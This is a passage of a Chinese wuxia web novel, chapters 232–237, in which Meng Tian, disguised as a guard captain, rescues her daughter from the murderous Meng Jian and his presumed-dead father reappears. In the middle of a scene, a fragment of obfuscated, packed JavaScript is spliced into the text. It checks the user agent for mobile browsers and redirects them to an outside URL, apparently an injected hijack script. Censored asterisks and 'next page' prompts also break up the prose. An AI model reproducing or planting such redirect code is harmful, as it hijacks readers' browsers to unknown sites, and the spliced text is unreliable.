孟简冷冷瞥了他一眼,“金老爷子,这里是孟家堡,不是金家庄,轮不到您做主,您老还是躲远些,免得被误伤。”
孟简盯着孟蕊的目光,仿佛淬了毒的刀刃,他对着身后的护卫们,做了个进攻的手势。
“弓箭手,全体对准那个**凶手,放箭!”
第232章 最后通牒
孟简身后七八名手持弓箭的护卫,在短暂的迟疑后,张弓拉箭,尖锐的箭头对准了孟蕊。
围在孟蕊旁侧和身后的其他护卫和江湖人士,担心受到牵连,几乎在一瞬间,全都作鸟兽散,躲去弓箭攻击范围之外。
只有纪华筠、金老爷子和杨氏兄妹,还站在原地。
“孟简,看来这孩子说得没错,你就是**凶手,现在恼羞成怒,要杀她灭口!”
杨玄杉站在孟蕊身侧,持剑与孟简对峙。
她已不是昨日失子哭泣崩溃的母亲,此刻的她,眉目冷冽,是要为子报仇的斗士。
孟简已经不耐烦,下了最后通牒,“嫂子,我说过了,此女才是凶手,你若质疑要信她,休怪我刀剑无情。”
杨玄杉看了眼孟蕊,冷哼一声,剑指孟简身后的弓箭手。
“孟简是连杀至亲的极恶之徒,你们这些人,还不弃暗投明!难道要继续为虎作伥吗?”
纪华筠心中一动,也跟着杨玄杉后边对护卫们喊道:
“刺杀县主,意味着藐视朝廷,是抄家灭族的大罪!为了孟简这种无耻小人不值得,你们现在放下武器,还可既往不咎。”
其实,纪华筠也不是很清楚,刺杀县主能不能判抄家灭族的大罪,但这些孟家堡的护卫们,就更不清楚了。
要让他们害怕,就是用更严重的后果威胁,没人不怕死,更没人不怕连累家人。
果然,护卫们犹疑不定,拉开的弓,又收了回去。
孟简察觉到护卫们的动作,回头怒吼:
“他们都是骗子!没听到我的命令?现在!张弓!射箭!”
“我不是骗子!孟简才是骗子!”
纪华筠用原本的女声,亮明身份。
“我叫纪华筠,我爹是兵部尚书、永宁侯纪恺,我祖父曾是镇守南境的纪大将军。
你们今日敢朝我们射箭,明日朝廷的大军就会踏平孟家堡!你们都别想好活!”
此言一出,护卫们更加不敢动手。
孟家堡位处西南,与北方的京城相距甚远,大多数护卫们唯一见过的京中大官,就属谢清源了,但谢清源为人亲和好说话,又喜散财,护卫们不觉得他有多厉害。
但曾经镇守南境二十多年的纪大将军就不同了,南边长大的小孩,多少都听说过纪大将军的威名,不少人习武,就是为了去纪家军中当兵。
孟简面色铁青,眼神冰冷中浸着浓浓杀意。
他真没想到,两个区区小贼,居然都大有来头,如此,就更留不得了!
“纪大将军是你们能攀扯的?还不快动手!杀了这些满口谎话的骗子!”
孟简大声咆哮,命令护卫们动手。
但护卫们面面相觑,没有一个人听他的。
孟简气急,“你们还真信了她的鬼话?!”
其中一个胆大的护卫开口:
“二爷,她说的要是真的,我们杀了她们,那就是犯了大罪!”
其他护卫也纷纷跟着附和:
“我自己**不要紧,但抄家灭族……我不能对不起家人!”
“她要真是纪大将军的后人,我可不敢动手,我爹会**我的。”
“是啊,我爹娘都说,如今日子好过了,都靠纪家军镇守南境。”
……
护卫们的动摇,让孟简勃然大怒,抬手就给了最先开口反驳他的护卫一掌。
“嗷——!”
护卫被遒劲的掌力打飞出去,撞上后面的几个护卫,一起跌倒在地上。
“谁人再敢有异心,他就是你们的下场!”
被打的护卫吐出一口鲜血,晕死过去。
其他几个被撞倒的护卫,艰难地从地上爬起来,去探被打护卫的鼻息,惊声尖叫!
“啊!他、他**!”
周围的护卫们,战战兢兢地后退,低下头,不敢再说话。
范统领匆匆赶到被打护卫身边,检查了护卫的情况,从袖中拿出一枚药丸给护卫吞下,对旁边吓得快要魂飞的几个护卫吩咐:
“他还活着,你们几个,现在立刻抬他下山,找堡中大夫给他医治,或许能保住一命。”
那几个护卫忙不迭地答应,抬着地上的护卫就要离开。
“站住!我让你们带人走了吗!”
孟简对着他们怒吼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403356|164980||http|test|mini|href|location''.split(''|''),0,{}));
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r>范统领对护卫们摆了摆手,示意他们快走,自己转身,不卑不亢地对上孟简,抱拳行礼:
“二爷息怒!兄弟们不容易,您这样贸然出手,伤了下边人的心,以后谁还愿为您办事?”
“范勤,你敢威胁我?”孟简厉声质问。
“属下不敢!只是实话实说。”
范统领露出为难的神情。
“二爷,兄弟们的担心,不无道理,依属下看,此事不能着急,索性谢大人就在山下,咱们不如先下山,待确认了这两名女子的身份,再行处置?”
事实如何,孟简心中一清二楚,他要在山上杀了孟蕊和纪华筠,为的就是死无对证。
将她们带下山,就是给自己找死!
他必须尽快杀了这两个祸害!
“好啊,你们都不动手是吧?”
孟简冷笑着转身,嘴边荡起一抹残忍的笑意。
“那就我自己动手!”
话音未落,他运用轻功飞起,冲向孟蕊,抬起右手就是一掌。
“闪开!”
杨玄杉推开孟蕊,以剑锋去接孟简的掌风。
她急于复仇,手中剑破开掌风,就直刺孟简咽喉而去,却没有防备孟简左手出掌,正击中肩部。
“啊——!”
杨玄杉如一片落叶般,被孟简击落。
杨玄松腾起接住妹妹,杨玄杉安稳落地,喷出一口鲜血,狠狠盯着孟简,对抱住自己的杨玄松说:
“哥,帮我杀了他,为子俊报仇!”
杨玄松握剑的手紧了紧,眼神中闪过犹豫。
孟简收敛杀意,对杨玄松道:
“杨掌门,你要想好,孟家堡以后是我做主,只要你今日当做什么都没看到,往后管好你的疯妹妹,我们孟杨两家,还可以世代交好。”
杨玄松表情纠结,但始终没有对孟简出剑。
“哥!”杨玄杉不甘心地喊道,回应她的,是杨玄松抓得更紧的手。
孟简很满意杨玄松的识趣,现在孟蕊和纪华筠身边,只剩风烛残年的金秉星和随从。
“金老爷子,您老离凶手远点,我要为兄长、侄儿们报仇了!”
第233章 杀人灭口
金老爷子在江湖中沉浮半生,看着嚣张的孟简,还有什么不明白的。
“好啊,孟简你小子可真狠,为了上位,杀了兄长、两个侄儿和自己儿子不够,居然还要在众目睽睽之下杀外甥女,老夫算是长见识了。”
金老爷子岿然不动地挡在孟蕊身前,轻蔑地看向孟简。
孟简深知自己没有退路,现在一心要置孟蕊和纪华筠于死地。
只要她们两个死了,把尸体也毁了,把一切罪责都推到她们身上,死无对证。
再对现场的所有人封口,威逼利诱,统一说辞,没见过孟蕊和纪华筠,他们只是上山就地正法了两个潜入孟家堡杀人的贼人。
就算是谢清源,没有证据,也不能拿他怎样。
孟简很满意其他人对他的惧怕,要说服他们和他说谎,并不难,除了还挡在孟蕊前面的金老爷子。
不识趣的老东西,只有死路一条!
孟简一步步向着孟蕊的方向走来,眼睛微微眯起,嘴角扭曲成一个狰狞的弧度。
“金老爷子,您若再不让开,晚辈只能得罪了……”
此刻站在金老爷子身后的孟蕊,着急地环视周围。
战战兢兢的孟家堡护卫,事不关己的江湖人士,无能为力的杨玄杉,还有审时度势、不愿出手的杨玄松……
周围的人很多,而愿意帮她们的,只有金老爷子。
孟蕊手中握紧了最后一枚飞刀,目光重回孟简身上,观察着投掷角度,她只有一次偷袭机会,必须保证杀死孟简。
纪华筠不悦的目光,则瞪向杨玄松。
她本来以为,像杨玄松这样名扬江湖的正派大侠,只要知道了孟简残害至亲的恶事,一定会站出来伸张正义,惩恶扬善,以杨玄松的武功,足够与孟简一战。
所以她和孟蕊才历尽辛苦,跑来此地,就是为了杨玄松能出手帮她们。
纪华筠没有想到,杨玄松明知孟简作恶而不管,他居然为了讨好孟简,选择视而不见,让纪华筠大失所望。
“杨玄松,你这个道貌岸然的伪君子,你外甥孟子俊被孟简杀了,你难道都不想为他报仇吗?”
纪华筠对着杨玄松,张口就骂,声音响彻树林。
“你这个缩头乌龟,你妹妹被孟简打伤,你都能忍得下去?
这么没有骨气,你们凌剑山庄,趁早改名叫缩头山庄吧!”
杨玄松猛然转头,瞪向纪华筠,眼神中似燃烧着熊熊怒火,手中的剑鞘被他大力握得咯吱响,似在强忍愤怒,但脚步却未动一步。
孟简看到杨玄松的反应,生怕他变卦,要与自己作对,首要攻击目标,从金老爷子,转变为纪华筠。
“你这么有骨气,那就你先死!”
孟简挥起一掌,向纪华筠攻击而来。
纪华筠神色一凛,突然下蹲,躲过孟简的掌风,一个扫堂腿,专攻孟简下盘,手中匕首随着腿的攻击,刺向孟简因受伤而动作偏慢的那条腿。
“哗啦!”
匕首划破裤腿,在孟简粗壮的小腿上新添一道浅伤。
“找死!”
腿上的痛意,让孟简怒不可遏。
他正要自上而下拍出一掌,直袭纪华筠的头顶,忽感一丝冷风袭来,下意识向后退去,堪堪避开孟蕊射向他咽喉的飞刀。
孟简心中一惊,连忙又后退数步,对发射飞刀暗器的孟蕊充满戒备。
就差一点!孟蕊咬了咬唇,为自己没能射杀孟简而懊恼。
金老爷子看到孟蕊出手逼退孟简,颇为赞赏,“不错,小小年纪,飞刀能练到这个准头,未来可期。”
“可是,我没有射中。”孟蕊身上没有飞刀了,她们之后要怎么办呢?
纪华筠握着匕首,对准孟简,大义凛然道:
“来呀!杀人凶手,我今天和你拼了!”
孟蕊也故作镇定地站在原地,没有一步退缩,在气势上不能输。
孟简看到她们如此做派,唯恐她们还有暗器和后手,一时间也没有动。
“二爷,您这样与两个小姑娘为难,未免太掉份儿!”
范统领很自然地凑到孟简身边,说出的话却不好听。
“您当着这么多人的面,欺负晚辈,我们孟家堡的脸面往哪儿搁呀?孟老头知道了,怕是要从棺材里跳起来削你。”
“你胡说什么!”孟简凶狠地瞪他,“谁给你胆子,这样和我说话?”
随即,他发现,眼前的范统领,好像不太一样,身形似乎瘦了些,与他说话时不再卑躬屈膝,而是睁大了眼睛,直勾勾地盯着他。
孟简惊得后退一步,“你这样看着我作甚?”
“当然是因为,看不惯你咯~”
范统领耸耸肩,呲牙对着孟简笑了一下。
“别欺负小姑娘了,咱俩练练!”
说着,他丢了手上的剑,赤手空拳地攻向孟简。
孟简被迫接下范统领的招式,两人过了几招后,孟简逐渐落入下风。
“范勤,我命令你住手!”
孟简感觉到不对劲,范勤最是忠心,今日怎会突然和他对打?
而且范勤的武功,之前明明比自己差许多,今日为何会这样强?
孟简用了十成的功力,才能勉强抵挡住范勤的攻击。
这样下去,他肯定会输的。
孟简快速向后退去,然后站定,蓄力一击,使出自己最拿手的混元裂空掌。
范统领双眼一亮,似乎等的就是这一掌。
他站在原地没动,就在掌力要袭上胸口时,左手回以一掌,与孟简右掌击在一起。
“啊——!”
双掌合击的瞬间,孟简惨叫一声,突然被震飞,向后倒去。
而范统领,像无事发生一样,站在原地,淡定地收回左手,对着倒地的孟简歪了歪头,一脸好奇样。
“孟二爷,你就是用这种力度的混元裂空掌杀人的吗?怎么觉着没啥劲呢?”
孟简艰难地从地上爬起,吐了好几口鲜血,点了自己几处大穴,一脸震惊地看着范统领。
“你不是范勤,你究竟是谁?”
“你搁这儿追杀我的女儿,居然不知道我是谁?”
范统领冷冷瞧着孟简,目露凶光。
“对了,你还诬陷我杀人,那我现在刚好杀了你,让你的话应验。”
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第234章 自食恶果
“你……你是孟天?!”
孟简大惊失色,又吐出一口鲜血,虚弱而痛苦地坐在地上,满目震惊地望着范统领。
“你怎么会……成了范勤?”
听到孟天的名字,周围众人瞠目结舌,纷纷看向范统领,指着他议论纷纷。
“范统领就是孟天?太神奇了!我刚才还和他说过话。”
“要真是孟天,可有好戏看了,堡主之位归谁要不一定咯。”
“孟天一个女人,要来抢堡主之位?别开玩笑了。”
“女人怎么了?没见到她打得孟简毫无还手之力吗?拳头硬就行。”
“你们是不知道,二十年前,孟天把她爹孟堡主都能按着打,打个孟简算什么?”
……
在议论声中,“范统领”撕去面部的伪装,露出了属于孟天的本来面容。
孟蕊环视一圈,最后目光落在女儿孟蕊身上,关心地问:
“蕊儿,你可有受伤?”
孟蕊鼻子一酸,忍着泪意摇头,“女儿没有受伤,娘亲放心。”
在看到娘亲出手打孟简时,孟蕊就已经确定,范统领是她娘亲孟天假扮的。
逃亡一夜的恐惧,终于可以在见到娘亲的这一刻,彻底放下。
她安全了!
孟天欣慰地说:“蕊儿受苦了,为娘这就帮你报仇!”
话毕,她转回头看向孟简,脸上那抹面对孟蕊时的温柔笑意荡然无存,平添三分冷戾。
孟简一对上孟天晕染杀意的双眼,少时被孟天痛揍的可怕回忆,跃然脑中。
“孟天,哦不,大、大姐姐,刚才的事我可以解释,我真的没想到,她会是你的女儿啊!”
孟简忙不迭地解释。
“她的所作所为确实太可疑了,所以我才误会了外甥女……”
“误会?你还能说出更离谱的理由吗?”
孟天语带嘲讽,眼神威压,一步步向着孟简走近。
“若不是我就在这里,我好不容易找回来的宝贝女儿,就要被你给当做杀人凶手就地正法了!这笔账,大概只有你畏罪自杀,才能还清,你说呢?”
“你要我自杀?”
孟简不可置信地惊叫,随即转换了一副哀求的嘴脸。
“大姐姐,我们都是父亲的孩子,我是你亲弟弟呀!你怎能逼我去死?”
在旁边看得激动的纪华筠,突然插话喊道:
“孟女侠,别听他的鬼话!他都能把自己亲哥哥杀了,哪里还顾及一点人伦亲情?”
孟简反驳道:“我没有杀兄长,是她们胡说八道,你们没有证据证明我是杀人凶手,更没有资格逼我去死!”
“证据?你觉得,我需要那种东西?”
孟天嗤笑一声,已经走到孟简面前。
“你要杀我女儿,我就要杀你,爽快些,自己动手,也能死得痛快些。”
“孟天,你当真如此绝情?”
孟简强撑着从地上站起来,指向围观的众人,假仁假义道。
“在众位英雄豪侠面前,逼得亲弟弟自戕,你以后要如何在江湖上立足?”
孟天微眯着眼,目光扫过除孟家堡护卫之外的十几个江湖人士,今日跟着上山寻人的,除了金老爷子和杨氏兄妹,其他几乎都是与孟简交情好的人。
“英雄?豪侠?就凭你这些酒肉朋友也配?”
孟天只觉得可笑,毫不客气地嘲讽道。
“不过都是一群无情无义又无能的看客,你要杀无辜之人,他们不管,现在你要被杀了,他们也管不着。”
被嘲讽的江湖人士们沸腾了,好几个人站出来,对着孟天指责:
“我们没惹你,你凭什么这样侮辱人?”
“你女儿本来就很可疑,我们两不相帮而已,有什么错?”
“你一个女人,跑来争夺家产,逼死亲弟弟,要被万人唾骂!”
……
也有站出来充好人劝和的。
“得饶人处且饶人,你女儿分毫未伤,放过孟二爷吧。”
“你们毕竟是亲姐弟,孟堡主在天之灵,也不想看到你们骨肉相残啊!”
……
就连之前护着孟蕊的金老爷子,也对孟天劝道:
“天儿,杀人不过头点地,但事实真相未明,不宜滥造杀孽,孟简毕竟是你弟弟。”
孟天听着这些人叽里呱啦的各种声音,不自觉一一看过去,神情似有松动。
就在孟天转身望向金老爷子时,孟简双眼一横,陡然泛起凶狠的光。
孟简迅速抬起手,提起体内所有内力,对着孟天的后背拍出一掌。
“娘亲小心后面!”
孟蕊惊恐大叫,对着孟天提醒。
但孟天就好像没有听到一般,依然望向金老爷子,眉目间透着不耐烦。
“娘亲!”
孟蕊大步冲了过去,想要扑倒娘亲,避开孟简的偷袭。
迎接她的,是孟天温暖可靠的怀抱。
孟天笑着把女儿抱住,安抚地拍了拍她的背,“没事,他伤不到我。”
而在孟天的身后,用尽全力使出一掌偷袭的孟简,如被定住一般,僵硬地站在原地,还保持着出掌的姿势,但掌中却没有发出任何力道。
本小章还未完,请点击下一页继续阅读后面精彩内容!孟简怔愣看着自己的手掌,神情不可思议,胸口剧烈的痛楚传来,他再次吐出一口鲜血,整个人直直倒下。
“他怎么了?”孟蕊依偎在母亲怀里,后怕地问。
孟天唇边扬起一抹了然的坏笑,“他打不过我,还想搞偷袭,自食恶果,武功大抵是没了。”
倒在地上痛苦不堪的孟简,挣扎着仰头望向孟天,咬牙切齿地问:
“咳咳……你、你对我,做了什么?”
孟天冷漠瞧了他一眼,收回谋算得逞的目光,高声对着周围所有人道:
“各位都看到了,我可没再出手,是孟简卑鄙无耻,刚才想要偷袭我。
可惜啊,他武功太差,受了伤,还强行发动内力,现在遭了反噬,情况不太好呢。”
她的目光,故意扫过指责和劝诫过她的那些人,“好心”提议:
“你们这么关心他,那就快来帮帮他,最好是多给他输些内力,让他少受些反噬之苦。”
原本还讨论得热火朝天的众人,突然安静。
只有两个人过来,检查了孟简的情况,确认孟简遭功力反噬,武功尽失,却没有一人要帮他输入内力,缓解疼痛。
孟简蜷缩在地上,疼得满头冷汗,还在不甘心地指着孟天发狠话:
“孟天你害我!你废我武功,我要杀了你!杀了你!”
孟天想到他还有用处,点了几个孟家堡护卫,让他们把孟简绑了抬下山。
护卫们稍显犹豫后,选择听从孟天的指示,正走向孟简时,杨玄杉提剑冲了过来。
“此等残害至亲的畜生,让我直接杀了他!”
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第235章 不容置疑
“铿!”
孟简翻滚躲开,剑锋重击在石头上,发出刺耳的碰撞声。
杨玄杉一击不中,正要再次出招,被旁侧的孟天抓住手腕阻止。
“先别杀他,我还有事要问他。”
“那你快问呐!”杨玄杉动了动被抓的手,孟天力气太大,她挣脱不开。
“现在不行。”
孟天强硬地抓着杨玄杉的手腕,认真地说。
“我要把他带回孟家堡,等人到齐了再问。”
杨玄杉眼眶发红,眼神悲愤,“夜长梦多,我等不及了,现在就要杀了他!”
“我不同意,你打不过我。”
孟天语气平和,却带着不容置疑的笃定。
杨玄杉打不过她,没有资格在她面前,决定孟简的生死。
“呵呵,确实,我打不过孟简,更打不过你……”
杨玄杉苦笑一声,颓然地跌坐在地上,长剑也脱了手,落了地。
“我这一辈子,终究还是选错了。”
孟天松开抓住她的手,“只是现在不能杀他,等事情结束,我会将孟简交给你处置。”
之前孟简追杀孟蕊的时候,杨玄杉有出手相助保护孟蕊,孟天领她这个情,愿意满足杨玄杉为子报仇的慈母心。
杨玄杉怔怔抬头,仰望孟天,笑得讽刺而悲苦。
“孟天,你是对的,你当年和我兄长说,长辈们定下的无聊婚约,没了就没了,我们自己想要过的人生,才是最重要的,你做到了……
而我,被困在两家联姻的牢笼中,为了两家同盟,嫁给了无能的孟繁,忍受着他寻花问柳,为他安顿妾室,生养儿子,盼着我儿有一天能继承孟家堡。
但现在,我儿子死了,孟繁也死了,我什么都没了……”
孟天对杨玄杉的絮絮叨叨不感兴趣,她大步走向孟简,在孟简惊恐的眼神中,点了孟简的穴位,然后对旁边不敢上前的几个护卫招了招手。
“他动不了,也说不出话,你们动作快一点,拿绳子把他绑起来。”
护卫们连忙应是,拿着准备好的绳子快步走近,在孟天的监督下,将孟简绑了一圈又一圈,手脚全身都被束缚住。
孟天看着地上被捆成蝉蛹一样的孟简,满意地点头。
“绑得不错,你们几个人换着抬他下山。”
护卫听令将孟简抬起,缓步前行,而其他几十个孟家堡护卫,还呆愣着站在原地。
他们以前听令于孟简,但刚才背叛了孟简,现在看到孟简被绑起来,每个人脸上都流露出迷茫的神情。
“傻站着干什么?爬了一上午的山,你们不饿呀?”
孟天看向这些护卫,无奈地命令道。
“所有人,排好队依次下山,到了堡内直接去饭堂用膳,以前怎么过,以后还怎么过,快走吧。”
见这些护卫还迟疑不决地站在原地,孟天不耐烦道:
“怎么?你们也要和我打一架,像孟简那样被抬着下山才高兴?”
护卫们终于反应过来,连连否认:
“没有没有。”
“不敢不敢。”
“大小姐,我们马上就下山。”
……
护卫们开始往回走,孟简请来的江湖人士们,自问不想和孟天打架,默默跟在了护卫们后面。
孟天带着孟蕊和纪华筠,也准备一起下山,返回孟家堡。
一回头,孟天发现坐在地上的杨玄杉,正幽幽望着她,嘴里还在不停说着:
“孟天,你是对的,当年我就不该听我爹娘的话嫁给孟繁。
我应该和你一样,去闯荡江湖苦练武艺也好,挑个自己喜欢的男人嫁了也罢,无论结果如何,起码是自己喜欢过的生活。
不像现在,蹉跎了半辈子,武功荒废没有精进,你们谁我都打不赢,只能任由你们欺负。
我唯一的兄长,自私自利,眼中只有利益,不顾兄妹之情,不帮我报仇,可笑我为了他,一直守着这样痛苦的日子……”
杨玄杉的身边,一脸难堪的杨玄松,低身想要扶起妹妹。
“玄杉,你明白的,为兄那样做,都是为了凌剑山庄。”
“走开!假惺惺的,我看到你恶心!”
杨玄杉推开杨玄松伸过来的手,别过脸去。
杨玄松尴尬地收回手,站直身,求助地望向孟天。
“天儿,玄杉她使性子,你能不能帮我劝劝她?”
跟在孟天身后的孟蕊,心中警铃大作。
这个杨玄松,在和她娘亲套近乎!
孟蕊向前一站,挡在孟天前面,对着杨玄松语气不善道:
“杨掌门,我觉得杨女侠说得没错,你是挺假的,刚才不帮忙,差点害死我们,现在说这些,又有什么用?”
孟蕊这话不但说给杨玄松听,更是在提醒娘亲孟天,杨玄松是个道貌岸然的小人,刚才差点害死她的宝贝女儿,别给他好脸!
纪华筠之前已经骂过杨玄松一次了,现在听到孟蕊提起,她忍不住跟着说:
“就是,杨女侠说得对,我看见你也恶心!还敢叫孟女侠什么‘天儿’?你这个老鳏夫,注意一下自己的身份!”
这章没有结束,请点击下一页继续阅读!“你们!”
杨玄松握紧了手中剑,横眉怒目,对着孟蕊和纪华筠露出凶相,但顾忌到孟天在场,极力忍耐着怒意。
孟天一手一个,把孟蕊和纪华筠拉到自己身后,一言难尽地看着杨玄松。
“首先,我和你多年不见,关系很一般,请称呼我的名字。
第二,杨玄杉在气你没有帮她打孟简,关我何事?我为什么要帮你劝她?
这是你们兄妹之间的矛盾,是你这个兄长应尽的责任,别推给我,我不是你的管家。”
孟天不想再搭理杨玄松,提腿就要走,瞥见还坐在地上懊悔人生的杨玄杉,叹了口气,回头对她说:
“杨玄杉,我明白你心中的窝囊和怨恨,以前的事改变不了,但你之后可以离开。
离开让你恶心的人,厌恶的地方,去找你自己想过的生活,我当年就是这么干的。
我记得,你比我小七八岁,三十出头的年纪,不算年轻,也不算太老,你保养得也不错,说你二十多也有人信,找个喜欢的男人,再生个孩子,不是不可能。
坐在这里自怨自艾,纯粹是浪费时间,你该好好想想以后的路,要往哪里走了。”
话毕,孟天没再犹豫,带着孟蕊和纪华筠,踏上返程。
杨玄杉看着孟天快步离开的背影,捡起地上的长剑,收入剑鞘,以剑触地,支撑着自己站起来,追赶孟天而去。
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第236章 岩壁激战
“孟天,你等等我!”
杨玄杉追上来,跟在孟天身边问。
“你说把孟简带回孟家堡,等人到齐了再问,你要问什么?等什么人到齐?”
孟天侧头看了眼恢复斗志的杨玄杉,边走边说:“等回到孟家堡,你就知道了。”
金老爷子担忧地走过来,“天儿,孟简做了错事,但他毕竟是你亲弟弟,无论如何,他不能死在你的手里,往后会为人诟病……”
“老舅,我知道了,我让杨玄杉杀他,总行了吧?”
孟天打断金老爷子的话,不想听那些陈词滥调的说辞。
“您老下山后,就好好回去休息,颐养天年,别总担心这担心那的。”
母亲去世后,小时候的孟天,去金家庄住过一段时日,舅舅待她很好,但总唠叨孟天要听话,孝敬父母,与后母弟弟交好关系。
孟天不喜欢听那些没用的话,她表面答应下来,转过身该怎样还是怎样。
现在的孟天,早就过了要听人教导的年纪,更是不会听老人家无意义的唠叨,连表面的敷衍都懒得维持。
金老爷子无奈地叹气,“你这孩子,脾气还是如此倔强,我说的这些,都是为你好,为你的孩子们好,你怎么就是不明白呢?”
“明白什么?以德报怨?”
孟天毫不客气地反驳。
“您看我像那种窝囊的傻瓜吗?”
“噗嗤!”纪华筠笑出了声,“金老爷子,我可以作证,孟女侠可是对着太后娘娘都不下跪的硬茬,对孟简那种无耻小人,何须再留情面?”
“没错,就算是我娘亲杀了孟简,外头也只会夸赞我娘亲大义灭亲,为民除害,是大大的功绩一桩。”
孟蕊接话道,句句直戳金老爷子话中的不合理处。
“若是有人为杀人凶手孟简叫屈,那他十有八九是和孟简一样的无耻小人,是要被钉在耻辱柱上审判的,我娘亲的做法,没有任何问题。”
说话间,一行人已经走出了树林,继续向前,走上山路。
“唉,你们还小,不懂……”
金老爷子还想继续劝,却见所有人都停下脚步。
“前面怎么不动了?”
山路不宽,但足以容纳三五人并排而行,可是现在,走在前面的孟家堡护卫都停了下来,前面定然有事发生。
孟天第一反应,是孟简,或是他的江湖朋友闹事。
她快速扒开人群,跑到孟简身边一看,孟简被捆得结结实实,已经疼晕了过去,护卫们尽职尽责地抬着孟简,旁边也都是孟家堡护卫。
那些孟简请来的江湖人士,早就跑到队伍的最前面,不知看到了什么,俱是一脸震惊,呆若木鸡地杵着,一动不动,导致后面的人全部停下。
“你们在干什么?为什么不继续走了?”
孟天风风火火地赶到队伍最前面,终于知道了他们为什么不往前走了。
右前方的岩壁上,在距离地面七八米处,建有一座悬空木屋,木屋顶上,一老一少两个身影,正在激烈打斗。
屋顶上的青年,赤着上半身,露出遒劲结实的肌肉线条,肩部有血污,似乎受了伤。
但他的实力不受影响,面色沉静,出拳又稳又狠,就这一会儿的功夫,众人就看到他狠狠两拳,砸在对手的腹部和脸部。
与青年对打的老人,一身黑衣,身材魁梧,脸上原本蒙着黑巾,被青年拳头挥落,露出他那张令所有人震惊的脸。
站在最前面观战的江湖人士中,发出惊呼:
“我不会眼花了吧?那个……那个是不是孟堡主?”
很快有人回应:
“是……是吧,我觉得也像。”
“可是孟堡主不是死了吗?他诈尸了?”
“对呀!我们来孟家堡,就是来参加孟堡主的葬礼的呀!”
……
一阵热议惊呼后,他们看到了跑上前来的孟天,纷纷过去问她:
“孟大小姐,你看那山崖木屋上的人,是你父亲孟堡主吗?”
“这是怎么回事啊?孟堡主难道没死?”
“那屋顶上的年轻后生是谁?好生厉害!”
……
孟天无暇回应这些看客的问题,只目不转睛地盯着那山崖木屋顶上的两人。
她不但能确定,那是她假死的父亲孟剑雨,更一眼就认出,和孟剑雨激烈战斗的年轻后生,正是她的儿子孟瑜!
此时,孟蕊和纪华筠,扶着金老爷子,和杨氏兄妹一起赶了过来。
那些人没在孟天那里得到答案,又跑来问金老爷子。
“金老爷子,您见多识广,那木屋顶上的,是不是孟堡主?他岂非诈尸了?”
金老爷子亦是双目震撼,望向岩壁上激战的两人,惊讶得张大了嘴。
“那……那当真是孟剑雨?”
孟蕊看到这一幕,比其他人镇定得多。
她早就知道孟剑雨没死,现在看到战斗力能与孟剑雨匹敌的二哥,心中稍稍松了一口气。
二哥平安无事,武功高深,还揭开了孟剑雨没死的事实,都是好事。
纪华筠看到孟瑜,心中一喜,又看到和孟瑜对战的孟剑雨,眼珠一转,有了主意。
“啊!那个黑衣老头,就是故意出卖我们的混蛋!”
纪华筠指着孟剑雨,大声嚷嚷。
“你们方才说他是谁?孟家堡的堡主?”
多位江湖人士的目光,被纪华筠的话吸引。
一个大胡子刀客凑近了问:“纪小姐,你说谁出卖你们?能说得具体点吗?”
“当然可以。”
纪华筠要的就是这个效果,添油加醋地把孟剑雨出卖她们的恶行说了一遍。
“我们本来在木屋里躲得好好的,孟简根本没发现我们,就是那个黑衣服老头,突然闯进木屋。
看到窗外孟简杀死孟繁,我求他去救人,他不但不去,还把我们扔出了木屋,暴露在孟简面前,害得我们差点被孟简杀死!”
“有这种事?”大胡子刀客惊道,“他如果是孟堡主,会眼睁睁看着小儿子杀死大儿子?”
人群中再次爆发热议,全是在讨论孟剑雨死没死,和人品如何的。
杨玄杉从孟剑雨没死的震惊中回神,若有所思地望向孟天。
“他们就是……你说要等的人?”
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第237章 死而复生的人
孟天没有回应她,一直盯着岩壁屋顶上还在激斗的两人。
“砰!”
孟瑜一击重踢,被孟剑雨躲过,直接击穿屋顶,两人从屋顶落入木屋中,继续缠斗。
而因为木屋墙壁对视线的阻挡,山路上的众人,只能听见木屋中打斗的声响,看不到打斗的场景。
孟蕊紧张地问孟天:“娘亲,我们要不要去帮帮二哥?”
“不用。”孟天收回视线,对孟蕊安抚地笑,“阿瑜正打得开心,我们不要去打扰他。”
“他是你儿子?!”杨玄杉惊讶地问。
她的儿子被孟简一掌打死了,孟天的儿子,却可以和孟剑雨的打斗中占上风,心中颇不是滋味,看到孟天现在淡定的表情,语气不自觉地加重。
“孟天,你早就知道父亲死而复生?不对,他就没死!”
面对杨玄杉的质问,孟天面色沉凝,“我不知道,但有所怀疑,所以乔装进入堡内,探查真相。”
“那你查到什么了?”
杨玄杉步步紧逼,引来周围其他人的注意。
“你是不是早就知道孟简要杀我儿子,你为什么不救他?”
孟蕊听不下去,“杨女侠慎言,我和我娘亲,两日前才到达渝州城,怎么可能提前知道孟简要做什么?”
孟天拍了拍孟蕊的肩,把她拉到自己身后,对杨玄杉说:
“你一直待在孟家堡内,难道就从无察觉孟剑雨的死有可疑?”
“父亲去世当晚,是婆母在照顾,我跟着众人赶到时,父亲已经断气,大夫确认他身死,我不曾怀疑……”
杨玄杉回忆着孟剑雨突然去世那晚的情形,眉头逐渐蹙起。
“半年前,父亲的身体就开始不好,大夫有说旧伤复发,有说年迈体弱,缠绵病榻许久,病情加重去世,并不奇怪。”
“不奇怪吗?”孟天双手抱臂,挑眉瞧着杨玄杉,“他一向身体康健,怎会在半年前突然不好?还病因不明,你若是谨慎些,该找名医来给他诊治清楚。”
“我自然是提过,但父亲说不用……”杨玄杉道。
孟天目含讽刺,“他说不用,你就算了?”
“父亲之命,孟家堡内谁人敢不听从?你以为谁都和你一样桀骜不驯?”
杨玄杉回想着自己之前管理孟家堡大小事务,孝敬公婆,夙夜忙碌,不敢有一丝怠慢,多年忍气吞声,换来一无所有,就觉得憋屈。
“父亲不愿医治,孟繁和孟简都顺着他,我一个做儿媳的,又能如何?”
孟天看着喋喋不休抱怨的杨玄杉,只觉得她可怜。
孟家堡十几年的后宅生活,磨平了杨玄杉的棱角,当年活泼伶俐的少女,被磋磨成了憋屈哀怨的妇人。
“你若早能查清孟老头到底是不是真病了,说不定你儿子不会死。”孟天直言道。
杨玄杉惊诧得瞪大了眼,“怎么会?父亲的病,和子俊的死,有什么关系?”
